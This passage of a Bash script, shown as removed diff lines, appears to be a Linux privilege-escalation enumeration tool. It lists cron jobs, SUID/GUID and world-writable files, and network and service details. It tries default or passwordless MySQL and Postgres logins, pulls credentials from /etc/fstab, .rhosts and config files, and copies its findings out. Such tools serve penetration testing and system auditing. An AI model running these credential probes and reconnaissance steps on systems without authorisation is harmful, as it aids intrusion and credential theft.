2>/dev/null - else - : - fi - else - : -fi - -#is root permitted to login via ssh -sshrootlogin=`grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | awk '{print $2}'` -if [ "$sshrootlogin" = "yes" ]; then - echo -e "\e[00;31mRoot is allowed to login via SSH:\e[00m" |tee -a $report 2>/dev/null; grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### ENVIRONMENTAL #######################################\e[00m" |tee -a $report 2>/dev/null - -#env information -envinfo=`env 2>/dev/null | grep -v 'LS_COLORS' 2>/dev/null` -if [ "$envinfo" ]; then - echo -e "\e[00;31m Environment information:\e[00m\n$envinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#current path configuration -pathinfo=`echo $PATH 2>/dev/null` -if [ "$pathinfo" ]; then - echo -e "\e[00;31mPath information:\e[00m\n$pathinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#lists available shells -shellinfo=`cat /etc/shells 2>/dev/null` -if [ "$shellinfo" ]; then - echo -e "\e[00;31mAvailable shells:\e[00m\n$shellinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#current umask value with both octal and symbolic output -umask=`umask -S 2>/dev/null & umask 2>/dev/null` -if [ "$umask" ]; then - echo -e "\e[00;31mCurrent umask value:\e[00m\n$umask" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#umask value as in /etc/login.defs -umaskdef=`cat /etc/login.defs 2>/dev/null |grep -i UMASK 2>/dev/null |grep -v "#" 2>/dev/null` -if [ "$umaskdef" ]; then - echo -e "\e[00;31mumask value as specified in /etc/login.defs:\e[00m\n$umaskdef" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#password policy information as stored in /etc/login.defs -logindefs=`cat /etc/login.defs 2>/dev/null | grep "PASS_MAX_DAYS\|PASS_MIN_DAYS\|PASS_WARN_AGE\|ENCRYPT_METHOD" 2>/dev/null | grep -v "#" 2>/dev/null` -if [ "$logindefs" ]; then - echo -e "\e[00;31mPassword and storage information:\e[00m\n$logindefs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$logindefs" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/login.defs $format/etc-export/login.defs 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### JOBS/TASKS ##########################################\e[00m" |tee -a $report 2>/dev/null - -#are there any cron jobs configured -cronjobs=`ls -la /etc/cron* 2>/dev/null` -if [ "$cronjobs" ]; then - echo -e "\e[00;31mCron jobs:\e[00m\n$cronjobs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#can we manipulate these jobs in any way -cronjobwwperms=`find /etc/cron* -perm -0002 -type f -exec ls -la {} \; -exec cat {} 2>/dev/null \;` -if [ "$cronjobwwperms" ]; then - echo -e "\e[00;33m***World-writable cron jobs and file contents:\e[00m\n$cronjobwwperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#contab contents -crontab=`cat /etc/crontab 2>/dev/null` -if [ "$crontab" ]; then - echo -e "\e[00;31mCrontab contents:\e[00m\n$crontab" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -crontabvar=`ls -la /var/spool/cron/crontabs 2>/dev/null` -if [ "$crontabvar" ]; then - echo -e "\e[00;31mAnything interesting in /var/spool/cron/crontabs:\e[00m\n$crontabvar" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -anacronjobs=`ls -la /etc/anacrontab 2>/dev/null; cat /etc/anacrontab 2>/dev/null` -if [ "$anacronjobs" ]; then - echo -e "\e[00;31mAnacron jobs and associated file permissions:\e[00m\n$anacronjobs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -anacrontab=`ls -la /var/spool/anacron 2>/dev/null` -if [ "$anacrontab" ]; then - echo -e "\e[00;31mWhen were jobs last executed (/var/spool/anacron contents):\e[00m\n$anacrontab" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#pull out account names from /etc/passwd and see if any users have associated cronjobs (priv command) -cronother=`cat /etc/passwd | cut -d ":" -f 1 | xargs -n1 crontab -l -u 2>/dev/null` -if [ "$cronother" ]; then - echo -e "\e[00;31mJobs held by all users:\e[00m\n$cronother" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### NETWORKING ##########################################\e[00m" |tee -a $report 2>/dev/null - -#nic information -nicinfo=`/sbin/ifconfig -a 2>/dev/null` -if [ "$nicinfo" ]; then - echo -e "\e[00;31mNetwork & IP info:\e[00m\n$nicinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -arpinfo=`arp -a 2>/dev/null` -if [ "$arpinfo" ]; then - echo -e "\e[00;31mARP history:\e[00m\n$arpinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#dns settings -nsinfo=`cat /etc/resolv.conf 2>/dev/null | grep "nameserver"` -if [ "$nsinfo" ]; then - echo -e "\e[00;31mNameserver(s):\e[00m\n$nsinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#default route configuration -defroute=`route 2>/dev/null | grep default` -if [ "$defroute" ]; then - echo -e "\e[00;31mDefault route:\e[00m\n$defroute" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#listening TCP -tcpservs=`netstat -antp 2>/dev/null` -if [ "$tcpservs" ]; then - echo -e "\e[00;31mListening TCP:\e[00m\n$tcpservs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#listening UDP -udpservs=`netstat -anup 2>/dev/null` -if [ "$udpservs" ]; then - echo -e "\e[00;31mListening UDP:\e[00m\n$udpservs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### SERVICES #############################################\e[00m" |tee -a $report 2>/dev/null - -#running processes -psaux=`ps aux 2>/dev/null` -if [ "$psaux" ]; then - echo -e "\e[00;31mRunning processes:\e[00m\n$psaux" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#lookup process binary path and permissisons -procperm=`ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null` -if [ "$procperm" ]; then - echo -e "\e[00;31mProcess binaries & associated permissions (from above list):\e[00m\n$procperm" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$procperm" ]; then -procpermbase=`ps aux 2>/dev/null | awk '{print $11}' | xargs -r ls 2>/dev/null | awk '!x[$0]++' 2>/dev/null` - mkdir $format/ps-export/ 2>/dev/null - for i in $procpermbase; do cp --parents $i $format/ps-export/; done 2>/dev/null -else - : -fi - -#anything 'useful' in inetd.conf -inetdread=`cat /etc/inetd.conf 2>/dev/null` -if [ "$inetdread" ]; then - echo -e "\e[00;31mContents of /etc/inetd.conf:\e[00m\n$inetdread" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$inetdread" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/inetd.conf $format/etc-export/inetd.conf 2>/dev/null -else - : -fi - -#very 'rough' command to extract associated binaries from inetd.conf & show permisisons of each -inetdbinperms=`cat /etc/inetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null` -if [ "$inetdbinperms" ]; then - echo -e "\e[00;31mThe related inetd binary permissions:\e[00m\n$inetdbinperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -xinetdread=`cat /etc/xinetd.conf 2>/dev/null` -if [ "$xinetdread" ]; then - echo -e "\e[00;31mContents of /etc/xinetd.conf:\e[00m\n$xinetdread" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$xinetdread" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/xinetd.conf $format/etc-export/xinetd.conf 2>/dev/null -else - : -fi - -xinetdincd=`cat /etc/xinetd.conf 2>/dev/null |grep "/etc/xinetd.d" 2>/dev/null` -if [ "$xinetdincd" ]; then - echo -e "\e[00;31m/etc/xinetd.d is included in /etc/xinetd.conf - associated binary permissions are listed below:\e[00m" ls -la /etc/xinetd.d 2>/dev/null |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#very 'rough' command to extract associated binaries from xinetd.conf & show permisisons of each -xinetdbinperms=`cat /etc/xinetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null` -if [ "$xinetdbinperms" ]; then - echo -e "\e[00;31mThe related xinetd binary permissions:\e[00m\n$xinetdbinperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -initdread=`ls -la /etc/init.d 2>/dev/null` -if [ "$initdread" ]; then - echo -e "\e[00;31m/etc/init.d/ binary permissions:\e[00m\n$initdread" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#init.d files NOT belonging to root! -initdperms=`find /etc/init.d/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` -if [ "$initdperms" ]; then - echo -e "\e[00;31m/etc/init.d/ files not belonging to root (uid 0):\e[00m\n$initdperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -rcdread=`ls -la /etc/rc.d/init.d 2>/dev/null` -if [ "$rcdread" ]; then - echo -e "\e[00;31m/etc/rc.d/init.d binary permissions:\e[00m\n$rcdread" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#init.d files NOT belonging to root! -rcdperms=`find /etc/rc.d/init.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` -if [ "$rcdperms" ]; then - echo -e "\e[00;31m/etc/rc.d/init.d files not belonging to root (uid 0):\e[00m\n$rcdperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -usrrcdread=`ls -la /usr/local/etc/rc.d 2>/dev/null` -if [ "$usrrcdread" ]; then - echo -e "\e[00;31m/usr/local/etc/rc.d binary permissions:\e[00m\n$usrrcdread" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#rc.d files NOT belonging to root! -usrrcdperms=`find /usr/local/etc/rc.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` -if [ "$usrrcdperms" ]; then - echo -e "\e[00;31m/usr/local/etc/rc.d files not belonging to root (uid 0):\e[00m\n$usrrcdperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### SOFTWARE #############################################\e[00m" |tee -a $report 2>/dev/null - -#sudo version - check to see if there are any known vulnerabilities with this -sudover=`sudo -V 2>/dev/null| grep "Sudo version" 2>/dev/null` -if [ "$sudover" ]; then - echo -e "\e[00;31mSudo version:\e[00m\n$sudover" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#mysql details - if installed -mysqlver=`mysql --version 2>/dev/null` -if [ "$mysqlver" ]; then - echo -e "\e[00;31mMYSQL version:\e[00m\n$mysqlver" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#checks to see if root/root will get us a connection -mysqlconnect=`mysqladmin -uroot -proot version 2>/dev/null` -if [ "$mysqlconnect" ]; then - echo -e "\e[00;33m***We can connect to the local MYSQL service with default root/root credentials!\e[00m\n$mysqlconnect" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#mysql version details -mysqlconnectnopass=`mysqladmin -uroot version 2>/dev/null` -if [ "$mysqlconnectnopass" ]; then - echo -e "\e[00;33m***We can connect to the local MYSQL service as 'root' and without a password!\e[00m\n$mysqlconnectnopass" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#postgres details - if installed -postgver=`psql -V 2>/dev/null` -if [ "$postgver" ]; then - echo -e "\e[00;31mPostgres version:\e[00m\n$postgver" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this -postcon1=`psql -U postgres template0 -c 'select version()' 2>/dev/null | grep version` -if [ "$postcon1" ]; then - echo -e "\e[00;33m***We can connect to Postgres DB 'template0' as user 'postgres' with no password!:\e[00m\n$postcon1" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -postcon11=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version` -if [ "$postcon11" ]; then - echo -e "\e[00;33m***We can connect to Postgres DB 'template1' as user 'postgres' with no password!:\e[00m\n$postcon11" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -postcon2=`psql -U pgsql template0 -c 'select version()' 2>/dev/null | grep version` -if [ "$postcon2" ]; then - echo -e "\e[00;33m***We can connect to Postgres DB 'template0' as user 'psql' with no password!:\e[00m\n$postcon2" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -postcon22=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version` -if [ "$postcon22" ]; then - echo -e "\e[00;33m***We can connect to Postgres DB 'template1' as user 'psql' with no password!:\e[00m\n$postcon22" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#apache details - if installed -apachever=`apache2 -v 2>/dev/null; httpd -v 2>/dev/null` -if [ "$apachever" ]; then - echo -e "\e[00;31mApache version:\e[00m\n$apachever" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#what account is apache running under -apacheusr=`cat /etc/apache2/envvars 2>/dev/null |grep -i 'user\|group' 2>/dev/null |awk '{sub(/.*\export /,"")}1' 2>/dev/null` -if [ "$apacheusr" ]; then - echo -e "\e[00;31mApache user configuration:\e[00m\n$apacheusr" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$apacheusr" ]; then - mkdir --parents $format/etc-export/apache2/ 2>/dev/null - cp /etc/apache2/envvars $format/etc-export/apache2/envvars 2>/dev/null -else - : -fi - -#installed apache modules -apachemodules=`apache2ctl -M 2>/dev/null; httpd -M 2>/dev/null` -if [ "$apachemodules" ]; then - echo -e "\e[00;31mInstalled Apache modules:\e[00m\n$apachemodules" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#anything in the default http home dirs -apachehomedirs=`ls -alhR /var/www/ 2>/dev/null; ls -alhR /srv/www/htdocs/ 2>/dev/null; ls -alhR /usr/local/www/apache2/data/ 2>/dev/null; ls -alhR /opt/lampp/htdocs/ 2>/dev/null` -if [ "$apachehomedirs" ]; then - echo -e "\e[00;31mAnything in the Apache home dirs?:\e[00m\n$apachehomedirs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### INTERESTING FILES ####################################\e[00m" |tee -a $report 2>/dev/null - -#checks to see if various files are installed -echo -e "\e[00;31mUseful file locations:\e[00m" |tee -a $report 2>/dev/null; which nc 2>/dev/null |tee -a $report 2>/dev/null; which netcat 2>/dev/null |tee -a $report 2>/dev/null; which wget 2>/dev/null |tee -a $report 2>/dev/null; which nmap 2>/dev/null |tee -a $report 2>/dev/null; which gcc 2>/dev/null |tee -a $report 2>/dev/null -echo -e "\n" |tee -a $report 2>/dev/null - -#limited search for installed compilers -compiler=`dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null` -if [ "$compiler" ]; then - echo -e "\e[00;31mInstalled compilers:\e[00m\n$compiler" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : -fi - -#manual check - lists out sensitive files, can we read/modify etc. -echo -e "\e[00;31mCan we read/write sensitive files:\e[00m" |tee -a $report 2>/dev/null; ls -la /etc/passwd 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/group 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/profile 2>/dev/null; ls -la /etc/shadow 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/master.passwd 2>/dev/null |tee -a $report 2>/dev/null -echo -e "\n" |tee -a $report 2>/dev/null - -#search for suid files - this can take some time so is only 'activated' with thorough scanning switch (as are all suid scans below) -if [ "$thorough" = "1" ]; then -findsuid=`find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;` - if [ "$findsuid" ]; then - echo -e "\e[00;31mSUID files:\e[00m\n$findsuid" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -if [ "$thorough" = "1" ]; then - if [ "$export" ] && [ "$findsuid" ]; then - mkdir $format/suid-files/ 2>/dev/null - for i in $findsuid; do cp $i $format/suid-files/; done 2>/dev/null - else - : - fi - else - : -fi - -#list of 'interesting' suid files - feel free to make additions -if [ "$thorough" = "1" ]; then -intsuid=`find / -perm -4000 -type f 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'vim'\|'emacs'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb\|pl' | xargs -r ls -la 2>/dev/null` - if [ "$intsuid" ]; then - echo -e "\e[00;33m***Possibly interesting SUID files:\e[00m\n$intsuid" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -#lists word-writable suid files -if [ "$thorough" = "1" ]; then -wwsuid=`find / -perm -4007 -type f -exec ls -la {} 2>/dev/null \;` - if [ "$wwsuid" ]; then - echo -e "\e[00;31mWorld-writable SUID files:\e[00m\n$wwsuid" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -#lists world-writable suid files owned by root -if [ "$thorough" = "1" ]; then -wwsuidrt=`find / -uid 0 -perm -4007 -type f -exec ls -la {} 2>/dev/null \;` - if [ "$wwsuidrt" ]; then - echo -e "\e[00;31mWorld-writable SUID files owned by root:\e[00m\n$wwsuidrt" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -#search for guid files - this can take some time so is only 'activated' with thorough scanning switch (as are all guid scans below) -if [ "$thorough" = "1" ]; then -findguid=`find / -perm -2000 -type f -exec ls -la {} 2>/dev/null \;` - if [ "$findguid" ]; then - echo -e "\e[00;31mGUID files:\e[00m\n$findguid" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -if [ "$thorough" = "1" ]; then - if [ "$export" ] && [ "$findguid" ]; then - mkdir $format/guid-files/ 2>/dev/null - for i in $findguid; do cp $i $format/guid-files/; done 2>/dev/null - else - : - fi - else - : -fi - -#list of 'interesting' guid files - feel free to make additions -if [ "$thorough" = "1" ]; then -intguid=`find / -perm -2000 -type f 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'emacs'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb\|pl' | xargs -r ls -la 2>/dev/null` - if [ "$intguid" ]; then - echo -e "\e[00;33m***Possibly interesting GUID files:\e[00m\n$intguid" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -#lists world-writable guid files -if [ "$thorough" = "1" ]; then -wwguid=`find / -perm -2007 -type f -exec ls -la {} 2>/dev/null \;` - if [ "$wwguid" ]; then - echo -e "\e[00;31mWorld-writable GUID files:\e[00m\n$wwguid" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -#lists world-writable guid files owned by root -if [ "$thorough" = "1" ]; then -wwguidrt=`find / -uid 0 -perm -2007 -type f -exec ls -la {} 2>/dev/null \;` - if [ "$wwguidrt" ]; then - echo -e "\e[00;31mAWorld-writable GUID files owned by root:\e[00m\n$wwguidrt" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -#list all world-writable files excluding /proc -if [ "$thorough" = "1" ]; then -wwfiles=`find / ! -path "*/proc/*" -perm -2 -type f -exec ls -la {} 2>/dev/null \;` - if [ "$wwfiles" ]; then - echo -e "\e[00;31mWorld-writable files (excluding /proc):\e[00m\n$wwfiles" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -if [ "$thorough" = "1" ]; then - if [ "$export" ] && [ "$wwfiles" ]; then - mkdir $format/ww-files/ 2>/dev/null - for i in $wwfiles; do cp --parents $i $format/ww-files/; done 2>/dev/null - else - : - fi - else - : -fi - -#are any .plan files accessible in /home (could contain useful information) -usrplan=`find /home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` -if [ "$usrplan" ]; then - echo -e "\e[00;31mPlan file permissions and contents:\e[00m\n$usrplan" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$usrplan" ]; then - mkdir $format/plan_files/ 2>/dev/null - for i in $usrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null -else - : -fi - -bsdusrplan=`find /usr/home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` -if [ "$bsdusrplan" ]; then - echo -e "\e[00;31mPlan file permissions and contents:\e[00m\n$bsdusrplan" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$bsdusrplan" ]; then - mkdir $format/plan_files/ 2>/dev/null - for i in $bsdusrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null -else - : -fi - -#are there any .rhosts files accessible - these may allow us to login as another user etc. -rhostsusr=`find /home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` -if [ "$rhostsusr" ]; then - echo -e "\e[00;31mrhost config file(s) and file contents:\e[00m\n$rhostsusr" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$rhostsusr" ]; then - mkdir $format/rhosts/ 2>/dev/null - for i in $rhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null -else - : -fi - -bsdrhostsusr=`find /usr/home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` -if [ "$bsdrhostsusr" ]; then - echo -e "\e[00;31mrhost config file(s) and file contents:\e[00m\n$bsdrhostsusr" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$bsdrhostsusr" ]; then - mkdir $format/rhosts 2>/dev/null - for i in $bsdrhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null -else - : -fi - -rhostssys=`find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` -if [ "$rhostssys" ]; then - echo -e "\e[00;31mHosts.equiv file details and file contents: \e[00m\n$rhostssys" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : -fi - -if [ "$export" ] && [ "$rhostssys" ]; then - mkdir $format/rhosts/ 2>/dev/null - for i in $rhostssys; do cp --parents $i $format/rhosts/; done 2>/dev/null -else - : -fi - -#list nfs shares/permisisons etc. -nfsexports=`ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null` -if [ "$nfsexports" ]; then - echo -e "\e[00;31mNFS config details: \e[00m\n$nfsexports" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : -fi - -if [ "$export" ] && [ "$nfsexports" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/exports $format/etc-export/exports 2>/dev/null -else - : -fi - -#looking for credentials in /etc/fstab -fstab=`cat /etc/fstab 2>/dev/null |grep username |awk '{sub(/.*\username=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo username: 2>/dev/null; cat /etc/fstab 2>/dev/null |grep password |awk '{sub(/.*\password=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo password: 2>/dev/null; cat /etc/fstab 2>/dev/null |grep domain |awk '{sub(/.*\domain=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo domain: 2>/dev/null` -if [ "$fstab" ]; then - echo -e "\e[00;33m***Looks like there are credentials in /etc/fstab!\e[00m\n$fstab" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : -fi - -if [ "$export" ] && [ "$fstab" ]; then - mkdir $format/etc-exports/ 2>/dev/null - cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null -else - : -fi - -fstabcred=`cat /etc/fstab 2>/dev/null |grep cred |awk '{sub(/.*\credentials=/,"");sub(/\,.*/,"")}1' 2>/dev/null | xargs -I{} sh -c 'ls -la {}; cat {}' 2>/dev/null` -if [ "$fstabcred" ]; then - echo -e "\e[00;33m***/etc/fstab contains a credentials file!\e[00m\n$fstabcred" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : -fi - -if [ "$export" ] && [ "$fstabcred" ]; then - mkdir $format/etc-exports/ 2>/dev/null - cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null -else - : -fi - -#use supplied keyword and cat *.conf files for potential matches - output will show line number within relevant file path where a match has been located -if [ "$keyword" = "" ]; then - echo -e "Can't search *.conf files as no keyword was entered\n" |tee -a $report 2>/dev/null - else - confkey=`find / -maxdepth 4 -name *.conf -type f -exec grep -Hn $keyword {} \; 2>/dev/null` - if [ "$confkey" ]; then - echo -e "\e[00;31mFind keyword ($keyword) in .conf files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$confkey" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - echo -e "\e[00;31mFind keyword ($keyword) in .conf files (recursive 4 levels):\e[00m" |tee -a $report 2>/dev/null - echo -e "'$keyword' not found in any .conf files" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - fi -fi - -if [ "$keyword" = "" ]; then - : - else - if [ "$export" ] && [ "$confkey" ]; then - confkeyfile=`find / -maxdepth 4 -name *.conf -type f -exec grep -lHn $keyword {} \; 2>/dev/null` - mkdir --parents $format/keyword_file_matches/config_files/ 2>/dev/null - for i in $confkeyfile; do cp --parents $i $format/keyword_file_matches/config_files/ ; done 2>/dev/null - else - : - fi -fi - -#use supplied keyword and cat *.log files for potential matches - output will show line number within relevant file path where a match has been located -if [ "$keyword" = "" ];then - echo -e "Can't search *.log files as no keyword was entered\n" |tee -a $report 2>/dev/null - else - logkey=`find / -name *.log -type f -exec grep -Hn $keyword {} \; 2>/dev/null` - if [ "$logkey" ]; then - echo -e "\e[00;31mFind keyword ($keyword) in .log files (output format filepath:identified line number where keyword appears):\e[00m\n$logkey" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - echo -e "\e[00;31mFind keyword ($keyword) in .log files (recursive 2 levels):\e[00m" |tee -a $report 2>/dev/null - echo -e "'$keyword' not found in any .log files" - echo -e "\n" |tee -a $report 2>/dev/null - fi -fi - -if [ "$keyword" = "" ];then - : - else - if [ "$export" ] && [ "$logkey" ]; then - logkeyfile=`find / -name *.log -type f -exec grep -lHn $keyword {} \; 2>/dev/null` - mkdir --parents $format/keyword_file_matches/log_files/ 2>/dev/null - for i in $logkeyfile; do cp --parents $i $format/keyword_file_matches/log_files/ ; done 2>/dev/null - else - : - fi -fi - -#use supplied keyword and cat *.ini files for potential matches - output will show line number within relevant file path where a match has been located -if [ "$keyword" = "" ];then - echo -e "Can't search *.ini files as no keyword was entered\n" |tee -a $report 2>/dev/null - else - inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -Hn $keyword {} \; 2>/dev/null` - if [ "$inikey" ]; then - echo -e "\e[00;31mFind keyword ($keyword) in .ini files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$inikey" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - echo -e "\e[00;31mFind keyword ($keyword) in .ini files (recursive 2 levels):\e[00m" |tee -a $report 2>/dev/null - echo -e "'$keyword' not found in any .ini files" |tee -a $report 2>/dev/null - echo -e "\n" - fi -fi - -if [ "$keyword" = "" ];then - : - else - if [ "$export" ] && [ "$inikey" ]; then - inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -lHn $keyword {} \; 2>/dev/null` - mkdir --parents $format/keyword_file_matches/ini_files/ 2>/dev/null - for i in $inikey; do cp --parents $i $format/keyword_file_matches/ini_files/ ; done 